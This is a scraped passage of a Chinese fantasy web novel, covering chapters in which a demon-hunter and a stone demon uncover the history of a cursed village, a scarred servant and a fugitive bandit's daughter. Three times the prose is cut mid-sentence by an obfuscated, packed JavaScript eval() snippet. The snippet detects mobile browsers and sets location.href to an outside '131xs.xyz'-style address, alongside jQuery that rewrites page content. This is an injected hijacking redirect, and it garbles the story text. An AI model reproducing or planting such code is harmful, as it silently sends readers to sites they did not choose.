她独自出行,轻轻敲响了老翁的家门,打算问问漆姑的事。她这些天看出来了,老翁不怎么待见覃毓,当然也不怎么待见她跟小柳,他好像不在意村里发生的事。 本以为让他开口要费一番功夫,谁知老翁这次一改常态,居然告诉了酽白。 原来,当年村里很多人因不服徐邑而惨死他手,他被朝廷斩杀后,村民的痛苦没能宣泄,经常嘴上咒骂他。 不妙的是小孩子有样学样,跑到徐邑他女儿面前去骂,骂徐邑就算了,连带着他家里人一起唾骂,还拿石块仍她弟弟。 被欺负久了,姑娘也生出了狠毒心肠,那时候她才十四岁,就下得去手杀人。 她将几个小孩儿推进水里,不许他们上岸,任由小孩如何哭闹,也丝毫不退让,最终那群孩子全都丧命了。 这下彻底惹怒了村民,又是惹出一场祸事,徐邑的老母亲、妹妹还有他的小儿子都赔了性命,大女儿倒是逃出村子了,后来也没见回来过。 他们家除了女儿外,还有一个人也活了下来,就是在旧村遇见的漆姑,一个徐家的奴。 当年徐邑暴虐,并不把奴仆当人看,打骂凌辱是常有的事,家中隔几日便有奴仆死去。漆姑就是那时被卖去徐家的,没少挨打挨骂,好几次都险些没了命。 还好徐邑老娘疼惜人,瞧漆姑可怜,将她留在身边做个服侍的女仆,才让漆姑活了下来。 当年徐家人死后不知是谁放了火,漆姑幸运的活了下来,但烧伤了脸。因为在贼子家里做过事,即便她也是受难的,村里人还是不待见她。 漆姑自己也明白,就一个人住的远远的,不想和村民有交集。 之前献祭原是要杀她的,还是覃毓开口留下了她,说先从那群匪寇下手。 酽白没想到其中还有这样一段往事,那么漆姑那间小院子里的秘密又是什么呢?是否和往日旧事有关? 和老翁聊完已是夜深人静,崖罗村的村民没有娱乐活动,晚上早早闭户不出,连油灯也尽数熄灭,生怕暗夜中那丝亮光会引来食人吃骨的妖怪,为自己带来不幸。 酽白在黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546915|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中缓缓前行,几步路很快就走完了。 前面有暖黄色的亮光,酽白怔住,小石妖给她留了灯。 一步一步走近,安静的站在门外,而后轻声推开。桌子上的蜡烛下聚起厚厚的蜡油,风从推开的门缝中挤进去,吹得火苗晃晃悠悠的,旁边暖炉里添了柴,上面烧着热水。 此刻冬日严寒不复,酽白感觉气温上升,浑身都暖洋洋的。静坐了片刻,就着热水简单洗了洗,酽白爽利回到小屋。 撩开布帘的前一秒,顺手施法将柳殷照抛在一旁的薄被盖了回去,看在他今晚贴心懂事的份上,自己也帮他一下吧,顺手的事儿。 这一夜在平静中度过,翌日晴雪初阳,寒意渐消,天地间一片澄明。难得在冬季遇见这样好的阳光,若不是有要紧事,酽白真想好好躺一整天,感受这煦暖冬阳。 明日,又是给煞妖献尸的时间了,她照例剪出小纸人,用它们代替人身,只是寄鸣珠内的殃煞不多,最多再撑一两次,酽白必须抓紧时间。 柳殷照被她派出去蹲守那个奇怪姑娘了,不知是否探到了有用信息,临近午时还没回来。 等覃毓几人搬走“尸体”,柳殷照步履悠闲回来了,手里抱着几支腊梅,花瓣上还凝有水珠。 翻遍全屋才找到一个破口的陶罐,他将花插在陶罐中,放进了酽白的小隔间里。 “刚刚在村里帮一个阿婆劈了柴,她折了几支花给我,我想着你们姑娘家喜欢这些,就给你带回来了。” 他一脸倦态,嘴上因干燥失水有些开裂,酽白将水杯递给他。 他喝尽才稍稍喘匀气,就听酽白问,“怎么样,她如何?” “她叫缙云,不是本村人,说是从外地逃难过来的,平日里一个人生活,跟大家关系都挺一般的。” 结合种种迹象来看,缙云是每个场景都出现的人,她连接了所有人,大妖、有秘密的漆姑、覃毓。她肯定还有别的秘密,否则,一个普通村民,怎么会如此巧合的出现在事情的每个部分? 酽白之前说大妖会来找他们,但大妖的耐性看来是挺好的,一直忍到现在都没来找他们。 酽白已经等不住了,还是她去找大妖吧,这年头,求人办事的反倒是大爷了,堂堂捉妖师还要去找妖怪打听事情。 至于柳殷照,让他去漆姑那探探罢,反正漆姑是他最先接触的。 路上,小石妖百无聊赖,又跟酽白说起了闲话。 “酽白,你说漆姑这么在意那屋里的东西,到底是什么啊,勾得我特别的好奇。” “那么好奇,等会去把门踢开瞧个仔细,漆姑的棍子打下来你也挨着就是了。”酽白揶揄他,丝毫不担心小柳真干出这样的事。她摸清了石妖的本性,虽然看上去荒唐不靠谱,实际上心里有分寸得很。 “酽白,你最近说话老是怪怪的,用你们人类的话来讲这叫……哦,阴阳怪气的。” 听到小柳的话,酽白也有所察觉,是啊,跟石妖说那么多话做什么,一定是她昏头了,居然对这妖怪和颜悦色上了。 她将一切原因都算在柳殷照头上,怪他太过肆意,失了做妖的分寸。 前面出现叉路,他忘了路回头看酽白,却不妨对上捉妖师那“阴暗”面孔,吓得赶紧跟酽白拉开距离,生怕她一个不顺心就小命不保。 柳殷照最终没敢开口问话,他停下来后酽白也跟着停下不动。 捉妖师又在发呆了,她的意识恐怕早就不知飞哪去了,柳殷照看不过眼,伸手在酽白面前晃了晃,这才让她回神,然后瞪了无辜的柳殷照一眼,越过他往前走去。 留在原地的妖撇撇嘴,也不再搭理酽白,捉妖师的态度也太奇怪了,有时候爱嘲弄人,有时候又不说话,太无趣了些,跟她聊不下去。 18. 妖力消散 两人一起走了段路,在岔路口分开,各自前往既定地点。 柳殷照一路晃悠到漆姑院外,许是怕前次的不愉快还没消散,他蹲在院外未曾出声。 烟囱向外散烟,灶屋内传来滋滋啦啦的声音,然后,辣子的干香随之而来。 凌寒之下,唯有此间还算是个温暖之地,诱着人迈脚向里去。 柳殷照也不例外,他被香味吸引踮着脚来到门边,猫着身子往里看。 不料,漆姑刚好挥开厚重门帘出来,与他来了个面碰面。 他手腕里搭着斗篷,衣摆下角被还没融化完的雪水沾湿,露出明显的深色区,弯曲身体蹲在门口的样子,像只可怜的猫。 漆姑扫了他好几眼,最后还是没好气的让他进屋了。 柳殷照虽不怕冷,但裸在外面的皮肤也被霜风吹得发红,漆姑又把火盆搬了过来,倒上热茶递给他,但板着脸一直没说话。 眼看气氛陷入了窘窒的沉默,柳殷照僇笑着开口,“漆姑,我好几日没来了,今天过来看看你,你这边还好吗?” 漆姑没有搭理他,冷着眼看他自顾自聊,终于,他也忍受不住诡异气氛,讪讪收笑。 “刚刚你在做什么,我闻见了好香好香的味道,是不是好吃的?” 漆姑撇了他一眼,“哼,你真是还敢来,那姑娘怎么不跟你一起,还是说她去找覃毓一起过来啊?” 柳殷照想到之前她说回去告诉覃毓的事,不是,漆姑还真以为他们是覃毓的人啊? “不是不是,我朋友有事去别的地方了。而且,我们真不是覃毓的人,覃毓算什么,竟敢让酽白听信于他。再说,若我们回去真告诉覃毓了,他早就来找你了,怎会等这么久。” “之前呢我跟酽白是有事骗了你,但你放心,绝对不是什么坏事。” 漆姑一听骗了她,操起木棒就要打,柳殷照动作敏捷的闪躲开,按住漆姑的手,“姑啊,能听我说完再打吗?” 两人这才坐下好好说话,其实漆姑不知道他们到底看没看见偏院情形,若是看见且告诉了覃毓,按着村里那些人的脾性,只怕早就打上门来了。 现在日子平静要么是真没看见,看来的确如他所说,并非是覃毓的人,想到这里,又不免对他缓了缓语气。 “刚刚说骗了我,骗了我什么事?” “酽白是捉妖师不假,至于我们来这里的目的,那个叫缙云的姑娘应该说过了吧?”柳殷照觉得缙云既然常来这边,肯定会跟漆姑说清,也没必要再隐瞒。 “漆姑,我不知道你信不信,但酽白真的是来救你们的。她从别人口中得知崖罗村的怪事,当即就赶了过来,不顾自身危险进入这里。煞妖的情况你也清楚,酽白最多还能拖住它们一次,之后就真的没办法了,若是那样十天后所有人都会死。漆姑,我们是来找你帮忙的。” 中年妇人表情严肃,忘我的沉思默想,她没立刻给柳殷照回答,这些话她不知道该不该信。 这些年村里来过太多捉妖师,他们都说能救人,最后呢,还不是跟他们一样留在这了。 十天很快就过去了,到时候所有人都将面临死亡,大人便算了,都不是什么好东西。但,村里还有孩子,才那么点大,他们都不知道崖罗村外是何模样。 柳殷照看漆姑面露不忍,知道还有能让她牵挂之事,转头打上了感情牌,他要尽快劝动漆姑,才能帮助酽白想出对策。 “漆姑,你难道想一直待在这个空间里吗,剩下几十年守着这些破烂房子等死?我们还有机会的,你得救救他们和你自己啊。” 话说到这个份上,漆姑还是没给出回答,她的内心正在进行抉择,是让那些欺负过自己的人一起死去,还是让大家一起活? “另外,覃毓不会来这,他们已经相信酽白了,不会再杀人送给煞妖。” 漆姑终于有了反应,她愕然抬头看着柳殷照,覃毓放弃了,那些孩子是不是有活路了? 刚才那番话确实触动她了,没谁想一直生活在这。崖罗村其实很小,一刻钟就能走完,村里的一砖一瓦她早已熟记于心。 她,何尝不想出去,离开这集聚痛苦的伤心地,换个地方过上新的生活。 柳殷照觉得这番话足够动摇漆姑内心,不再言语逼迫,且让她好好想想,然后起身去了外面,心里暗自和美味食物做别,思虑着酽白那边的情况。 却不知,他思虑的酽白又跟大妖打起来了,这一次,酽白仅凭自己就能跟大妖耗上一段时间,他的妖力真的在急剧下降! 你来我往的数个回合后,酽白耗不下去了,率先收手,不忘挑衅他。 “再过几日你就不是我的对手了,青鹘一族的妖已经弱到这种地步了吗?你的那些族人呢,怎么不叫出来帮帮你。” “族人?呵,早就没有青鹘族了,他们很久之前就离开了。” 酽白不知道这个离开是什么意思,反正也已经不重要了,只有他一只妖才好,取胜才更容易。 “我知道是你将我的扯进来的,不如说说让我来做什么。” “捉妖师,若不是我妖力消散力不从心,怎么会需要你插手此事。” 半见口气不小,酽白没理会他的狂妄之言,他的话确有其理,若妖力如原最初一般强盛,两个酽白都不是他的对手。 “此处原本灵力充沛,是生活的好地方,偏偏你们这些凡人不领情,百般想着离开。” 这话倒是给酽白气笑了,怒问他,“你这是什么风水宝地,我们凡人一定要来吗?” 这确实是块宝地,是他们青鹘一族历来的栖息地。青鹘族素被冠以长生之名,靠的就是吸纳天地灵气以滋养自身。这种世外仙境可难遇得很,难怪他们世代居于此地享宁静安乐。 半见已经太久没想起自己的族群了,回忆里满是眷念不舍。 沧海桑田,时过境迁,此处早失了往日的生机,如今俨然成为一片废墟。 酽白没见过从前,自然想不到,只觉得青鹘妖的眼光也不怎么样,若真如他说的那般好,为什么独独只剩半见,不见他的同类呢,莫不是讲笑言呢? “你就胡说吧,我看你能给荒地说出什么花儿来。” “当然不是这里,水幕之后才是我的家,那片水幕是我族的上等法器,至今也无人能破。” 水幕之后的世界,草木长青不败,四季皆如春日。青鹘妖是那里的主人,他们手掌翻覆间花开又花败。一切都受他们控制,那片净土是他们精心制作的明珠,与糟污的人世全然不同。 青鹘一族向来是族类和睦,聚族而居,能让那些妖放弃这么好的领土,还舍下一个族类,其中原因引人遐想。 但酽白不以为然,她对妖怪的家一点也不感兴趣,这天下万事万物哪怕再好,不是她的终归也没什么意思。 “我知道你想打听消息,我说给你听并不是因为你激我,而是,只有你会听我讲了。”半见语气转变,眉眼间蓦然失神,如同这冬日快要化尽的微弱雪沫,撑着最后一□□气儿。 “我的父亲并非青鹘本族,我是以半妖之身出世。” 虽为半妖之身,却是圣物命定的下任族长。族内其他妖非常排斥半妖,认为是违背天道的怪物。他们之间和睦相处却将半见排除在外,没人教他如何治理族群。 继任族长后,半见果然毫无建树,圣物对他降下惩罚,卸去了族长的身份。 “后来新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546916|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任族长带着圣物跟族群离开了,把我跟家都留在了这里。” 从那时起,半见就独自生活在这,真是可笑,被选做青鹘族世代定居的地方居然只剩他了。 “我爱上了一个凡人女子,捉妖师可知,我们青鹘族的禁忌是什么?” “禁忌,倒没听说过,让我来猜猜,要么是不能爱上凡人,要么就是不能动情。”酽白难得配合妖怪,说完这话她自己都愣住,肯定是柳殷照在身边待久了,才会对妖这么有耐心。 “猜的也算对吧。其实青鹘即情蛊,我们这一族啊,自祖先起就中了咒术。” 族志中记载第一任男祖爱上了神女,最后却背叛神女。神女因此厌上所有青鹘妖,她在男祖身上降下诅咒,青鹘妖往后不得爱上外族人,又将他们赶到封闭之地生存,禁止现世。 那些流传的青鹘避世之言,也只是因为他们不被允许生活在外。 “我并不知晓这咒术的后果,直到数月前,我发现我的妖力开始消散,我很害怕,那种轻易掌控一切的感觉不会再出现了,所有事情都向我不能控制的方向发展。我明白,这就是咒术的后果。” “捉妖师,你应该知道煞妖是怎么来的吧?” 酽白在脑中串联了一下线索,望着他开口,“是你在煞妖身上用了仿生术。” 煞妖出现后,有人用仿生术将它们复刻,开始她以为是捉妖师干的,可覃毓说捉妖师是煞妖变多后才开始出现。那么村里剩下的人,只有半见有这个能力。 这并不难猜,酽白在第一次见过半见后就有所怀疑了,“如今你妖力不足,压制不了煞妖了,所以才会让我进来替你收掉他们。” “是这样没错,捉妖师,找你真是找对了,煞妖的一切正如你查到的那般,只望你能尽快解决他们。” “等一下,他们身上的保护布是怎么回事,不管用什么办法都不见效,我倒想问问你,从哪儿搞来这东西,如此邪性。” “那不是我的东西,是一个道士的,他本想用这个跟我换一条活路,我没如他愿。捉妖师,待你处理完这些麻烦,带着村民赶紧离开吧,将他们困在这也非我所愿。” 不用他说酽白也会这么做,她来的主要目的就是救人。 半见不等她再说话,又进入水幕之后,拿他没办法,酽白收剑离开。整件事情就快浮出水面,关于崖罗村的真相马上就能显露在众人面前了。 酽白过来时,柳殷照正百无聊赖的等在路口处。 “蹲在这,不冷吗?” “我是石头怪,石头怪可不怕冷。”他立马站起身,抱臂站在酽白面前。 他比酽白高,垂眼向下看时,注意到酽白冻得发红的面颊,今日虽有太阳,但温度还是上不去。 “酽白,你没事吧,我看你冻的牙都颤了。” 当然有事,她感觉快被冷死了,但又要维持从容之态,只能借口是被半见气的,说完就赶紧往前走去,柳殷照没有拆穿酽白,只是在后面笑看着她。 然后快步追上去,将自己臂弯处的绒毛斗篷递给酽白,“喏,你用吧,我不冷。” 早上出门的时候,柳殷照就看了天色,没下雪起了劲风,酽白只穿了一层冬衣出门,她的披风外套昨日浸了水还没来得及烘干。 贸然进入崖罗村内,他们都没有御寒的衣物,这两件厚斗篷还是找村民借来的。早上他就拿给酽白,不见她接,思索后还是套在了自己身上,现在刚好能用上。 身形纤瘦的少女被寒风欺凌过久,终究还是接过斗篷披在自己身上,慢慢的才感觉身体变暖。柳殷照动作自然的落后酽白一步,替她挡着斜后方来的劲风,两人默契相伴着回去,有一句没一句的聊着。 19. 匪首之女 在朔风的推搡之下,艰难回到湿冷小屋里,酽白四肢近乎麻木,坐在那里瑟瑟发抖。 柳殷照赶紧将炭火盆燃上,搁置在酽白身旁,又端来热水放在她手里。热水的温度穿透瓷杯,传递到酽白手心,冻得乌紫的双手逐渐恢复白皙。 他做完这些,走到酽白身后,动作自然的把她身上沾了雪水的斗篷脱下,然后搂过棉被给她。 酽白欲言又止,她惊讶于这一连串动作,他们已经是这么熟的关系了么,但该说不说,小石妖还挺会照顾人的。 不过,她也不白占他的好,等出去了,想个法子帮他救助雪妖,让她可以再化人形,到时就两不相欠了。 等了好一会,屋子里才重新暖和起来,酽白身体回过温,将一应保暖物拿开,正准备问话,柳殷照就会意的开口。 “我刚刚劝过漆姑了,让她先好好想一下吧,我觉得她会跟我们说的。” 他与酽白相对而坐,其实他一点也不冷,但还是伸手放在炭火盆上,旁边是酽白细长的双手,皮肤有些糙,还有好些淡白色伤痕。 “嗯,从漆姑入手能更好了解缙云,她们俩这么熟,肯定是知道些东西的。只有漆姑愿意开口,我们的胜算才更大。” 柳殷照嘴角噙着浓烈笑意,他就知道,让他去找漆姑肯定有原因,捉妖师是最聪明的。 “那大妖那边怎么样了?” 酽白摇头,大妖说的跟她所想大差不差,有用的不多,她知道大妖喜欢的人是缙云。至于缙云吗,就不好说了,不过这中间肯定还藏着事,缙云真的只是崖罗村的外乡人吗? “对了,你之前去村里看她跟村民们相处如何,可算得上好?” 柳殷照细想了一下,抚着下巴说道,“倒是算不得好,之前去村里的时候,老是看见她独自一个人,好像很少和大家来往。” “这就对了,她一个外乡人逃难过来,跟村里人关系也不好,有什么值得她留下的?就算是因为不想在外颠簸流浪才在村里落脚,可整个村里她只跟漆姑交好,那为什么不过去跟漆姑一起住,反而是跟不相熟的人挤在一起。” 柳殷照觉得有道理,村里人不喜欢漆姑,她却正大光明的跟漆姑来往,这样只会惹得旁人连她一起讨厌。如果换做是他,要么与漆姑保持距离,要么去找漆姑为伴,断不会像她这样,同时与两边有交集。 这样一分析,酽白好像明白了什么。 “柳殷照,你说什么人会喜欢漆姑讨厌村民呢?” 对面的妖怪语塞,他猜不出来,人类间的情感他并不能感同身受,也不理解里面的弯弯绕绕,眼巴巴看着酽白,等她给答案。 “在崖罗村这个故事里,有一个人消失不见了,偏偏那人的身份刚好符合我说的,亲近漆姑厌恶村民。” “那么我猜,缙云就是那个失踪的匪首之女。” 她可能就是匪首徐邑的女儿,那个逃出村子消失不见的人。 话虽如此,柳殷照对酽白的猜测还是有些怀疑,“可是,若她真是匪首之女,村里这么多人总有人能认出她啊,怎么会这么平静?” “她消失了好几年,还不够改变自己吗?不过外貌而已,稍稍改变就能蒙蔽众人。” 事件的发展逐渐戏剧化,柳殷照有些看不懂了,他想,人类真复杂。 “酽白,你不觉得这事很像你们人类写的戏文吗,情节真是越来越离奇了。” 戏文本就源于生活,高于生活也是有可能的,酽白之前四处捉妖时,见过不少离奇的事,要不然也不会立马猜测出缙云就是徐家女。 “我们从缙云口中肯定问不出什么,柳殷照啊,还要辛苦你,去跟漆姑多沟通沟通。” “为什么又是我?”难怪捉妖师对他态度那么好,原来又是让他去磨嘴皮子,打感情牌啊欺妖太甚,他不干了! “你没发现吗,漆姑很喜欢你,对你的态度跟我可不一样。” 柳殷照语塞,难怪几次接触下来,漆姑给他的感觉不对劲,那种脸上满是嫌弃,但行动里还是爱护他的样子,就像是……人类对待自己家的糟心孩子。 就是这样,他从前在枰溪镇看过,那些妇人就是这样对自己孩子的,一边要打要骂,很是厌弃小孩儿,一边又搂又抱,当做心肝宝贝。 他的脑子麻住了,转头看见酽白调侃的笑,心里的怪异感直线上升。 “你这年纪换算成人类岁数,正好是漆姑儿子的年纪啊,小石妖,考虑认个人类干娘?” “酽白,你不许说了,我告诉你,我已经一百零六岁了,可不是那些弱不禁风的小孩儿,而且我是妖!是妖!怎么可能认人类亲戚。”柳殷照气急了,恶狠狠的说出,这幅样子更是惹得酽白轻轻笑出声来。 闹腾了一番,柳殷照说不过酽白,借口出去透气,不理酽白了。大门轰的一声关上,门外柳殷照龇牙咧嘴,拿院里的腐朽物件出气,像只炸毛的猫。 酽白也乐得自在,心情大好,小石妖果然是有用,他跟在自己身边,乏味的日子都变得有趣起来。 不知不觉间,来到崖罗已过半月,还要多久才能解决完这堆麻烦事呢? 这日一大早,酽白从朦胧睡梦中醒来,算算日子,今天是又是师父的忌日。 柳殷照睡眼惺忪的拉开门,就看见酽白蹲在屋外烧黄纸,皱皱巴巴的一小摞,瞧着像是陈年旧物。他不清楚什么状况,又见酽白情绪不高,没赶着上去讨人嫌,老老实实待在一边。 一整日下来,酽白都是情绪低迷,没开口说一个字,时不时摸着双鸣剑,虽然她平时也少话,但跟今日的状态还是完全不同的。 柳殷照时刻小心翼翼,平日里废话连篇,今天出奇的没开口,他生怕自己触怒酽白,死于那把狠戾的双鸣剑下。 转变出现在夜晚,诡异氛围慢慢变了。 今天没有出门,酽白破天荒的去老翁那讨来了酒,还邀柳殷照一起喝。 他颤颤接过,要知道酽白从不在办正事时喝酒,这是十万分的不对劲。等等,她看自己的眼神怎么透露出淡淡死意,莫非是给他的送行酒! 坏了,捉妖师肯定觉得出去无望,要把自己送给煞妖,给她争取逃跑的时间。苍天啊,早知道捉妖师这么坏,当初就不死乞白赖的跟着她了,现在丢了命实在不值当。 酽白并不知道自己在柳殷照眼中成了个坏人,在他怔然的神情中又倒了一杯酒,放在柳殷照对面,显然这不是给他的。 嗯?第三杯,捉妖师还要杀谁啊,谁那么倒霉,村里不就剩些手无寸铁的村民么。 他的手持续颤动,杯里的酒被洒了些出来,酽白端过酒碰了碰桌面那杯,而后饮尽,那杯酒随之被倒在地面。 唯有柳殷照迟迟不饮罢,酽白转头看他,视线压力下,他最终将酒送入腹中,紧紧闭起双眼。 一……二……三……四…… 他在心中默数,怎么还没死呢,是毒效发作得太慢了么,也没有剑刃划过身体的感觉。 柳殷照睁开眼,看着酽白疑惑的注视他,二人都有些摸不着头脑。 “喝个酒而已,你闭眼干嘛?” “我……我……”他支支吾吾半天没说出个所以然,借口喝酒掩饰此刻的无助,心里悄悄松了口气。看来酽白没打算杀他啊,嗐,想多了想多了。 他就说嘛,酽白是最好的捉妖师,怎么会滥杀无辜,当真是冤枉了她。 酽白不解他莫名的言行,反正这妖也不太正常,随他去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546917|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她又招呼柳殷照倒酒,与她同饮,几杯酒灌下后,酽白才终于主动说出今日的第一句话,“今天是我师父的忌日,你说,他都死三年了,怎么每到这一天,我还是很难过。” “算了,你这小妖又知道什么,人类的感情太复杂了。” 原来是这样啊,难怪捉妖师今日种种行为都怪异的很,想来是伤心所致,瞧他胡思乱想给自己吓的。 柳殷照不知道该开口说些什么,他没经历过这种事,也不太明白人类的伤心是何滋味,只能在一旁替她倒酒,听她讲些没头没尾的话。 老翁的酒是有年头的烈酒,即便酒量好如酽白也有些上头了。她的神情显出平日没见过的迷离,那双充斥着苦闷的双眼定定看着柳殷照,倒是叫他也染上了些悲情。 捉妖师好像一直很厉害,能独自游历、抓妖,有麻烦、苦头也是自己抗下,可能这世上就没有她干不了的难事。 从夏日初见到如今,数月时间,柳殷照第一次对酽白生出不同的情感,心疼她的孤独,佩服她的坚韧。与别的少女不同,她小小年纪就背负着捉妖大任,活得一点儿也不轻松。 他突然很想伸出手,去抚慰酽白内心脆弱普通的那一面,让她能歇息片刻。 酽白头晕的厉害,想去床上躺下,扶着桌子站起身了,摇摇晃晃走了两步,就有跌倒的前兆。 柳殷照赶紧扶住她手臂,动作轻柔的拢住她肩,扶着她向里走去,酽白抬起头,双眼朦胧的看着柳殷照笑,“小石妖,多谢你。” 这一夜,酽白终于见到了师父,他好久不来梦里了,师父又在责罚她不好好修习,修炼是酽白从前最讨厌的事,没想到从前最不喜的如今连再见的机会都没有。 她今日的难过是为师父,也是为自己。她那么努力的修炼,就是想要当好捉妖师,谁料过往的一切竟都是最初的谎言所致。 师父死后,她的内心萌生了放弃的念头,关于捉妖师的旅程,她想应该结束了。奈何以捉妖为任的师门宗旨已经刻进骨髓,在心里扎根,哪能轻易就放弃。 就这样一次拖一次,酽白也断断续续坚持到现在,就到这里吧,等她解决完崖罗村的事,就结束吧。 梦里的结尾又是师父身死的情景,然后一阵光怪陆离之境,酽白一整晚没睡安生。 柳殷照听着动静,酽白做了多久的梦,他就在她床榻边守了多久,温润妖力萦绕酽白周身,助她舒缓情绪。 一直到天明,酽白慢慢平静下来,似有清醒之意,柳殷照才回到自己床上,假装一夜好眠。 昨夜饮了太多酒,她起来有些头痛,炉子上照旧温着热水,酽白心情不错,给小石妖偷偷记了一功。 柳殷照还在睡,他眼下略有青黑,酽白知道昨晚是他,自己只是做梦了,又不是睡的昏死过去。当时便感知到妖气在周围,但只觉熟悉,潜意识里相信这妖没有恶意,今日一看果不其然就是他。 为着感谢他,酽白今日特意没安排事情,一整天都待在屋里看古籍,柳殷照也才放下心来好好补了个觉。 新村里,村民们聚在一起,各自拿出家里剩的东西,这几年他们能活下来,靠的都是新开辟的荒地。哪家院子没人了,就推倒房屋辟出土地,往年存下的作物种子在荒地里生根发,结出硕大果实。 最开始那年,大家还有心思准备新年,但现在,再没人会做这种无意义之事了。 这个空间又是临近过年,覃毓想让大家摆脱沉沉死气,提议一起过年热热闹闹的,但村民们兴致都不高,这会儿也都强撑着笑脸做事。 酽白翻完一卷卷古籍,柳殷照迷迷糊糊的睡了好久,火炉里柴块噼啪声乍起,外间的纷扰侵不进小屋,这里还是一派温馨。 20. 身负恶念的少女 如此耽搁了两日,漆姑在一个傍晚之际找上门来了。 柳殷照热情的将她引进门,酽白早在小桌边坐下,“漆姑前来可是想告诉我们什么?” “道长想要知道的,我都会尽数相告。” “漆姑了解缙云吗?” “原来道长想要打听这个,想必是在村里没得到有用消息,其实我对她了解也不多。” 缙云来村里后莫名的就爱跟漆姑来往,提及原因,说是对漆姑有亲切感,像她的家里人。念着缙云遭过难,漆姑也不想多打听她的伤心事,能有个人说说话对漆姑来讲并不是什么坏事。 过往三言两语道尽,柳殷照才泡好茶端来,漆姑伸手接过,但眼神怔怔的落在他身上。 “漆姑不觉得缙云姑娘熟悉吗?” “熟悉?我不明白道长是何意?” “漆姑想没想过,缙云除了您之外在村里没有相熟之人,那她为什么非要留在崖罗村呢,这里有什么值得她留下的。” “那么漆姑您又有什么特别,值得缙云这般为您?可若是换个身份,比如,她是你熟悉的或者认识的人,会不会更说得通。” 酽白仔细观察着漆姑的反应,她不相信漆姑这些年来就没想过这些问题,关于缙云的事难道她真的一无所知? 酽白的话深深震惊到漆姑,久久不能做出回复。 “道长你到底……想说什么?” “徐家大火那年,不是有人不见了吗,您主家的小姐万一回来了呢?” 漆姑一把掀翻茶杯,茶水洒了一地,她怒气冲冲的瞪着酽白,脸上本就因为留疤而显得可憎,现在更是面目狰狞。 “不可能,她不会是小姐,小姐早就逃走了!” 其实村里人不喜欢漆姑,除了因为她是徐家的奴,还有就是一个重要的原因,当年是她悄悄送走了罪魁祸首,她让徐家后人活了下来。 “小姐如今在外面好好的,道长可不要随意攀扯,这样诋毁我家小姐,你到底存的什么心?”漆姑极力否认酽白的话,颇有种酽白再胡说就撕烂她嘴的架势,与之前几次见面完全不同。 但酽白并不在意,漆姑这种反应在她意料之内,今天她一定要把事情弄清楚,随着这声怒吼,屋里的气氛陷入诡谲的气氛。 “漆姑说不是就不是,酽白,咱得相信漆姑啊。”柳殷照主动打破僵持,向酽白使眼色,转移话题,“漆姑,那偏院里的秘密是什么,能不能告诉我们?” 柳殷照插进话后漆姑也止住了火气,转头对他说道,“也不是什么秘密,里面都是些小孩,我偷偷的,养着他们。” 那些孩子的家人先前跟着徐邑做过盗匪,煞妖出现后,他们掌控村庄滥杀无辜。 覃毓杀死盗匪无可厚非,但漆姑觉得稚子无错啊,村里那群丧心鬼杀了大人还不够,竟要对孩子动手。她偷偷把这些孩子藏起来,又让缙云帮忙,伪造孩子跑出村子的假象,才得已偷偷保下他们。 漆姑这辈子没有自己的孩子,她是真的喜欢小孩儿,所以看见孩子受苦总是不忍心,总觉得他们即便犯了错也情有可原。歪理作祟,也难怪她当年会放手凶手。 漆姑娓娓道尽,乞求柳殷照不要说出去,酽白见没什么可问的,让柳殷照陪着漆姑,自己出门去了。 一人一妖也没什么可说的,多数时间都是漆姑在扯家常。坐了半晌后她起身要走,外面又零零散散的飘上雪花了,柳殷照赶忙给她找了伞。 “见过这么多次了,还不知道你叫什么呢?” “漆姑叫我小柳就行。” “小柳啊,长得真好,多好的一个孩子。”中年妇人哀戚的看着他,伤情的样子像是在看一个认识的人。 “你今年多大了,可有十九?”听漆姑问年纪,柳殷照可不敢讲自己106岁,只好点头称是。 一只糙手快要抚上他脸,小柳不解的看着漆姑,出于本能向后撤身。 他的动作让漆姑瞬间醒转,然后黯然转身离开。 在柳殷照出现后,她就经常想起苦命的小少爷。那是徐邑的小儿子,当年他最先命丧大火中,就死在漆姑怀里,如果小少爷好好长大,现在也该十九了,定是个睿智明朗的少年郎。 漆姑泪眼盈盈,慢慢走进雪里,看不清身影了。 柳殷照没有回屋,转身像雪中去,他不知道酽白去哪儿了,只能拿着伞站在外面等着。 白日完全消散,夜色昏沉,周围的景象模糊成一片,柳殷照刚回去提上照明灯笼就见酽白缓缓走向他。 身上的雪粒积起薄薄一层,偏酽白陷入沉思未曾在意,他只好上前替她拂尽,又撑着伞与她一同走进家门。 “酽白,你去哪儿了?怎么也不和我说一声。” “随便走了走,漆姑呢?” “已经回去了。” 